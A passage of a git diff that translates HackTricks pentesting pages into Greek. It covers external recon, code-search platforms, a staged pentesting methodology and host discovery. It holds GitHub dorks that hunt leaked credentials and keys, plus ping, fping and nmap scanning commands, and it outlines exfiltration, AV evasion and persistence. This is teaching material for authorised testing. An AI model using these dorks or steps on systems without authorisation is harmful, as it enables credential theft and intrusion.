all**. +Οι παλιές αλλά χρυσές google dorks είναι πάντα χρήσιμες για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή μπορείτε να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**. -_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._ +_Σημειώστε ότι τα εργαλεία που αναμένουν να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._ -### **Looking for vulnerabilities** +### **Αναζητώντας ευπάθειες** -If you find **valid leaked** credentials or API tokens, this is a very easy win. +Αν βρείτε **έγκυρα διαρρεύσαντα** διαπιστευτήρια ή API tokens, αυτή είναι μια πολύ εύκολη νίκη. -## Public Code Vulnerabilities +## Δημόσιες Ευπάθειες Κώδικα -If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it. +Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** αυτόν και να αναζητήσετε **ευπάθειες** σε αυτόν. -**Depending on the language** there are different **tools** you can use: +**Ανάλογα με τη γλώσσα** υπάρχουν διάφορα **εργαλεία** που μπορείτε να χρησιμοποιήσετε: {{#ref}} ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -There are also free services that allow you to **scan public repositories**, such as: +Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσιες αποθήκες**, όπως: - [**Snyk**](https://app.snyk.io/) ## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) -The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/). +Η **πλειοψηφία των ευπαθειών** που βρίσκονται από τους κυνηγούς σφαλμάτων βρίσκεται μέσα σε **web applications**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών web εφαρμογών**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/). -I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.** +Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), καθώς, αν δεν πρέπει να περιμένετε να σας βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμα για να τα εφαρμόσετε σε **workflows για να έχετε κάποιες αρχικές πληροφορίες web.** -## Recapitulation +## Ανακεφαλαίωση -> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later). +> Συγχαρητήρια! Σε αυτό το σημείο έχετε ήδη εκτελέσει **όλη την βασική καταμέτρηση**. Ναι, είναι βασική γιατί μπορεί να γίνει πολύ περισσότερη καταμέτρηση (θα δούμε περισσότερα κόλπα αργότερα). -So you have already: +Έτσι έχετε ήδη: -1. Found all the **companies** inside the scope -2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope) -3. Found all the **domains** belonging to the companies -4. Found all the **subdomains** of the domains (any subdomain takeover?) -5. Found all the **IPs** (from and **not from CDNs**) inside the scope. -6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -7. Found all the **potential public cloud assets** belonging to the company. -8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**. -9. **Pentesting all the webs you found** +1. Βρει όλες τις **εταιρείες** μέσα στο πεδίο +2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέσει κάποια σάρωση ευπαθειών αν είναι στο πεδίο) +3. Βρει όλα τα **domains** που ανήκουν στις εταιρείες +4. Βρει όλα τα **subdomains** των domains (υπάρχει κάποια ανάληψη subdomain;) +5. Βρει όλες τις **IPs** (από και **όχι από CDNs**) μέσα στο πεδίο. +6. Βρει όλους τους **web servers** και πήρε ένα **στιγμιότυπο** από αυτούς (υπάρχει κάτι παράξενο που αξίζει μια πιο βαθιά ματιά;) +7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία cloud** που ανήκουν στην εταιρεία. +8. **Emails**, **διαρροές διαπιστευτηρίων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**. +9. **Pentesting όλων των ιστοσελίδων που βρήκατε** -## **Full Recon Automatic Tools** +## **Πλήρη Αυτόματα Εργαλεία Recon** -There are several tools out there that will perform part of the proposed actions against a given scope. +Υπάρχουν αρκετά εργαλεία εκεί έξω που θα εκτελέσουν μέρος των προτεινόμενων ενεργειών κατά ενός δεδομένου πεδίου. - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated +- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Λίγο παλιό και όχι ενημερωμένο -## **References** +## **Αναφορές** -- All free courses of [**@Jhaddix**](https://twitter.com/Jhaddix) like [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- Όλα τα δωρεάν μαθήματα του [**@Jhaddix**](https://twitter.com/Jhaddix) όπως [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index 53e1f35e6..edfb754fc 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -2,18 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. +Τώρα που έχουμε δημιουργήσει τη λίστα των περιουσιακών στοιχείων του πεδίου μας, είναι καιρός να αναζητήσουμε μερικούς καρπούς OSINT που είναι εύκολα προσβάσιμοι. -### Platforms that already searched for leaks +### Πλατφόρμες που έχουν ήδη αναζητήσει διαρροές - [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/) -### Api keys leaks in github +### Διαρροές κλειδιών API στο github - [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog) - [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) @@ -28,7 +25,6 @@ Now that we have built the list of assets of our scope it's time to search for s - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ### **Dorks** - ```bash ".mlab.com password" "access_key" @@ -310,5 +306,4 @@ GCP SECRET AWS SECRET "private" extension:pgp ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 55186e1f3..670cf029b 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms. +Ο στόχος αυτής της σελίδας είναι να απαριθμήσει **πλατφόρμες που επιτρέπουν την αναζήτηση κώδικα** (κυριολεκτικά ή regex) σε χιλιάδες/εκατομμύρια αποθετήρια σε μία ή περισσότερες πλατφόρμες. -This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns. +Αυτό βοηθά σε πολλές περιπτώσεις να **αναζητήσετε διαρροές πληροφοριών** ή για **μοτίβα ευπαθειών**. -- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes. -- [**Github Search**](https://github.com/search): Search across Github. It supports regexes. - - Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/). -- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Search across Gitlab projects. Support regexes. -- [**SearchCode**](https://searchcode.com/): Search code in millions of projects. +- [**SourceGraph**](https://sourcegraph.com/search): Αναζητήστε σε εκατομμύρια αποθετήρια. Υπάρχει μια δωρεάν έκδοση και μια έκδοση επιχείρησης (με 15 ημέρες δωρεάν). Υποστηρίζει regexes. +- [**Github Search**](https://github.com/search): Αναζητήστε σε όλο το Github. Υποστηρίζει regexes. +- Ίσως είναι επίσης χρήσιμο να ελέγξετε και [**Github Code Search**](https://cs.github.com/). +- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Αναζητήστε σε έργα Gitlab. Υποστηρίζει regexes. +- [**SearchCode**](https://searchcode.com/): Αναζητήστε κώδικα σε εκατομμύρια έργα. > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> Όταν αναζητάτε διαρροές σε ένα αποθετήριο και εκτελείτε κάτι όπως `git log -p` μην ξεχάσετε ότι μπορεί να υπάρχουν **άλλες branches με άλλες commits** που περιέχουν μυστικά! {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index ea6b7f6a7..bcaae7062 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,146 +1,134 @@ -# Pentesting Methodology +# Μεθοδολογία Pentesting {{#include ../banners/hacktricks-training.md}} -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} - -## Pentesting Methodology +## Μεθοδολογία Pentesting
-_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Τα λογότυπα Hacktricks σχεδιάστηκαν από_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ -### 0- Physical Attacks +### 0- Φυσικές Επιθέσεις -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) and others about [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md). +Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Πρέπει να διαβάσετε μερικά [**κόλπα σχετικά με φυσικές επιθέσεις**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**διαφυγή από εφαρμογές GUI**](../hardware-physical-access/escaping-from-gui-applications.md). -### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +### 1 - [Ανακάλυψη hosts μέσα στο δίκτυο](pentesting-network/#discovering-hosts)/ [Ανακάλυψη περιουσιακών στοιχείων της εταιρείας](external-recon-methodology/) -**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). +**Ανάλογα** με το αν η **δοκιμή** που εκτελείτε είναι **εσωτερική ή εξωτερική**, μπορεί να σας ενδιαφέρει να βρείτε **hosts μέσα στο δίκτυο της εταιρείας** (εσωτερική δοκιμή) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερική δοκιμή). > [!NOTE] -> Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. +> Σημειώστε ότι αν εκτελείτε μια εξωτερική δοκιμή, μόλις καταφέρετε να αποκτήσετε πρόσβαση στο εσωτερικό δίκτυο της εταιρείας, θα πρέπει να επανεκκινήσετε αυτόν τον οδηγό. -### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)** +### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/) **(Εσωτερική)** -**This section only applies if you are performing an internal test.**\ -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing). +**Αυτή η ενότητα ισχύει μόνο αν εκτελείτε μια εσωτερική δοκιμή.**\ +Πριν επιτεθείτε σε έναν host, ίσως προτιμήσετε να **κλέψετε κάποια διαπιστευτήρια** **από το δίκτυο** ή να **συλλάβετε** κάποια **δεδομένα** για να μάθετε **παθητικά/ενεργά (MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε [**Pentesting Network**](pentesting-network/#sniffing). -### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts) +### 3- [Σάρωση Θυρών - Ανακάλυψη υπηρεσιών](pentesting-network/#scanning-hosts) -The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts). +Το πρώτο πράγμα που πρέπει να κάνετε όταν **ψάχνετε για ευπάθειες σε έναν host** είναι να γνωρίζετε ποιες **υπηρεσίες εκτελούνται** σε ποιες θύρες. Ας δούμε τα [**βασικά εργαλεία για σάρωση θυρών hosts**](pentesting-network/#scanning-hosts). -### **4-** [Searching service version exploits](../generic-hacking/search-exploits.md) +### **4-** [Αναζητώντας εκμεταλλεύσεις εκδόσεων υπηρεσιών](../generic-hacking/search-exploits.md) -Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... +Μόλις γνωρίζετε ποιες υπηρεσίες εκτελούνται, και ίσως την έκδοσή τους, πρέπει να **αναζητήσετε γνωστές ευπάθειες**. Ίσως να έχετε τύχη και να υπάρχει μια εκμετάλλευση που να σας δίνει ένα shell... -### **5-** Pentesting Services +### **5-** Υπηρεσίες Pentesting -If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** +Αν δεν υπάρχει καμία εντυπωσιακή εκμετάλλευση για καμία εκτελούμενη υπηρεσία, θα πρέπει να αναζητήσετε **κοινές κακοδιαμορφώσεις σε κάθε εκτελούμενη υπηρεσία.** -**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). +**Μέσα σε αυτό το βιβλίο θα βρείτε έναν οδηγό για να κάνετε pentest στις πιο κοινές υπηρεσίες** (και άλλες που δεν είναι τόσο κοινές)**. Παρακαλώ, αναζητήστε στην αριστερή ευρετήριο την** _**ΕΝΟΤΗΤΑ PENTESTING**_ **(οι υπηρεσίες είναι ταξινομημένες κατά τις προεπιλεγμένες θύρες τους).** -**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\ -Also, a small guide on how to[ **find known vulnerabilities in software**](../generic-hacking/search-exploits.md) can be found here. +**Θέλω να κάνω μια ειδική αναφορά στην** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **ενότητα (καθώς είναι η πιο εκτενής).**\ +Επίσης, ένας μικρός οδηγός για το πώς να [**βρείτε γνωστές ευπάθειες σε λογισμικό**](../generic-hacking/search-exploits.md) μπορεί να βρεθεί εδώ. -**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). +**Αν η υπηρεσία σας δεν είναι μέσα στο ευρετήριο, αναζητήστε στο Google** για άλλους οδηγούς και **ενημερώστε με αν θέλετε να την προσθέσω.** Αν **δεν μπορείτε να βρείτε τίποτα** στο Google, εκτελέστε το **δικό σας τυφλό pentesting**, μπορείτε να ξεκινήσετε με το **να συνδεθείτε στην υπηρεσία, να την fuzzing και να διαβάσετε τις απαντήσεις** (αν υπάρχουν). -#### 5.1 Automatic Tools +#### 5.1 Αυτόματα Εργαλεία -There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** +Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να εκτελέσουν **αυτόματες αξιολογήσεις ευπαθειών**. **Σας προτείνω να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με τις υπηρεσίες pentesting που μπορείτε να βρείτε σε αυτό το βιβλίο.** -#### **5.2 Brute-Forcing services** +#### **5.2 Επιθέσεις Brute-Force σε υπηρεσίες** -In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](../generic-hacking/brute-force.md)**.** +Σε ορισμένα σενάρια, μια **Brute-Force** μπορεί να είναι χρήσιμη για να **συμβιβάσετε** μια **υπηρεσία**. [**Βρείτε εδώ μια CheatSheet για διαφορετικές υπηρεσίες brute forcing**](../generic-hacking/brute-force.md)**.** ### 6- [Phishing](phishing-methodology/) -If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): +Αν σε αυτό το σημείο δεν έχετε βρει καμία ενδιαφέρουσα ευπάθεια, ίσως χρειαστεί να δοκιμάσετε κάποιο phishing για να μπείτε στο δίκτυο. Μπορείτε να διαβάσετε τη μεθοδολογία phishing μου [εδώ](phishing-methodology/): -### **7-** [**Getting Shell**](../generic-hacking/reverse-shells/) +### **7-** [**Λήψη Shell**](../generic-hacking/reverse-shells/) -Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](../generic-hacking/reverse-shells/). +Με κάποιο τρόπο θα πρέπει να έχετε βρει **κάποιον τρόπο να εκτελέσετε κώδικα** στο θύμα. Στη συνέχεια, [μια λίστα με πιθανά εργαλεία μέσα στο σύστημα που μπορείτε να χρησιμοποιήσετε για να αποκτήσετε ένα reverse shell θα ήταν πολύ χρήσιμη](../generic-hacking/reverse-shells/). -Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md)**.**\\ +Ιδιαίτερα στα Windows, μπορεί να χρειαστείτε κάποια βοήθεια για να **αποφύγετε τα antivirus**: [**Ελέγξτε αυτή τη σελίδα**](../windows-hardening/av-bypass.md)**.**\\ -### 8- Inside +### 8- Μέσα -If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: +Αν έχετε προβλήματα με το shell, μπορείτε να βρείτε εδώ μια μικρή **συλλογή από τις πιο χρήσιμες εντολές** για pentesters: - [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) - [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) -### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md) +### **9 -** [**Εξαγωγή**](../generic-hacking/exfiltration.md) -You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](../generic-hacking/exfiltration.md)**.** +Πιθανώς θα χρειαστεί να **εξάγετε κάποια δεδομένα από το θύμα** ή ακόμα και **να εισάγετε κάτι** (όπως σενάρια ανύψωσης προνομίων). **Εδώ έχετε ένα** [**άρθρο σχετικά με κοινά εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτούς τους σκοπούς**](../generic-hacking/exfiltration.md)**.** -### **10- Privilege Escalation** +### **10- Ανύψωση Προνομίων** -#### **10.1- Local Privesc** +#### **10.1- Τοπική Ανύψωση Προνομίων** -If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ -Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ -You should also check this pages about how does **Windows work**: +Αν δεν είστε **root/Διαχειριστής** μέσα στο σύστημα, θα πρέπει να βρείτε έναν τρόπο να **ανυψώσετε τα προνόμια.**\ +Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανύψωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ +Πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**: -- [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- How does [**NTLM works**](../windows-hardening/ntlm/) -- How to [**steal credentials**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows -- Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +- [**Αυθεντικοποίηση, Διαπιστευτήρια, Προνόμια Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) +- Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/) +- Πώς να [**κλέψετε διαπιστευτήρια**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) στα Windows +- Μερικά κόλπα σχετικά με [_**Active Directory**_](../windows-hardening/active-directory-methodology/) -**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για να απαριθμήσετε τις τοπικές διαδρομές ανύψωσης προνομίων Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domain Privesc** +#### **10.2- Ανύψωση Προνομίων Τομέα** -Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. +Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, την ανύψωση προνομίων και την επιμονή σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team. ### 11 - POST -#### **11**.1 - Looting +#### **11**.1 - Ληστεία -Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ -Find here different ways to [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). +Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον host ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\ +Βρείτε εδώ διάφορους τρόπους για να [**dump passwords στα Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). -#### 11.2 - Persistence +#### 11.2 - Επιμονή -**Use 2 or 3 different types of persistence mechanism so you won't need to exploit the system again.**\ -**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**Χρησιμοποιήστε 2 ή 3 διαφορετικούς τύπους μηχανισμού επιμονής ώστε να μην χρειαστεί να εκμεταλλευτείτε ξανά το σύστημα.**\ +**Εδώ μπορείτε να βρείτε μερικά** [**κόλπα επιμονής στο active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** -TODO: Complete persistence Post in Windows & Linux +TODO: Ολοκληρώστε την επιμονή Post σε Windows & Linux ### 12 - Pivoting -With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ -In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](../generic-hacking/tunneling-and-port-forwarding.md).\ -You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ -Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments.. +Με τα **συγκεντρωμένα διαπιστευτήρια** θα μπορούσατε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειαστεί να **ανακαλύψετε και να σαρώσετε νέους hosts** (ξεκινήστε ξανά τη Μεθοδολογία Pentesting) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\ +Σε αυτή την περίπτωση, η σήραγγα μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**ένα άρθρο που μιλάει για σήραγγες**](../generic-hacking/tunneling-and-port-forwarding.md).\ +Πρέπει επίσης να ελέγξετε το άρθρο σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε ωραία κόλπα για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να κάνετε dump διαπιστευτηρίων.\ +Ελέγξτε επίσης τη σελίδα σχετικά με [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμη για pivoting σε περιβάλλοντα Windows. -### MORE +### ΠΕΡΙΣΣΟΤΕΡΑ -#### [Android Applications](../mobile-pentesting/android-app-pentesting/) +#### [Εφαρμογές Android](../mobile-pentesting/android-app-pentesting/) -#### **Exploiting** +#### **Εκμετάλλευση** -- [**Basic Linux Exploiting**](broken-reference/) -- [**Basic Windows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Basic exploiting tools**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**Βασική Εκμετάλλευση Linux**](broken-reference/) +- [**Βασική Εκμετάλλευση Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +- [**Βασικά εργαλεία εκμετάλλευσης**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) -#### [**Basic Python**](python/) +#### [**Βασική Python**](python/) -#### **Crypto tricks** +#### **Κόλπα Κρυπτογράφησης** - [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) - [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 1f4bb741f..b46fd963c 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -2,70 +2,57 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Discovering hosts from the outside +## Ανακάλυψη hosts από το εξωτερικό -This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\ -In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**. +Αυτή θα είναι μια **σύντομη ενότητα** σχετικά με το πώς να βρείτε **IPs που απαντούν** από το **Διαδίκτυο**.\ +Σε αυτή την περίπτωση έχετε κάποιο **εύρος IPs** (ίσως ακόμη και αρκετές **σειρές**) και απλά πρέπει να βρείτε **ποια IPs απαντούν**. ### ICMP -This is the **easiest** and **fastest** way to discover if a host is up or not.\ -You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\ -You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response). - +Αυτή είναι η **ευκολότερη** και **ταχύτερη** μέθοδος για να ανακαλύψετε αν ένας host είναι ενεργός ή όχι.\ +Μπορείτε να προσπαθήσετε να στείλετε κάποια **ICMP** πακέτα και να **περιμένετε απαντήσεις**. Ο ευκολότερος τρόπος είναι απλά να στείλετε ένα **echo request** και να περιμένετε την απάντηση. Μπορείτε να το κάνετε αυτό χρησιμοποιώντας ένα απλό `ping` ή χρησιμοποιώντας `fping` για **σειρές**.\ +Μπορείτε επίσης να χρησιμοποιήσετε το **nmap** για να στείλετε άλλους τύπους ICMP πακέτων (αυτό θα αποφύγει φίλτρα για κοινές αιτήσεις-απαντήσεις ICMP echo). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges nmap -PE -PM -PP -sn -n 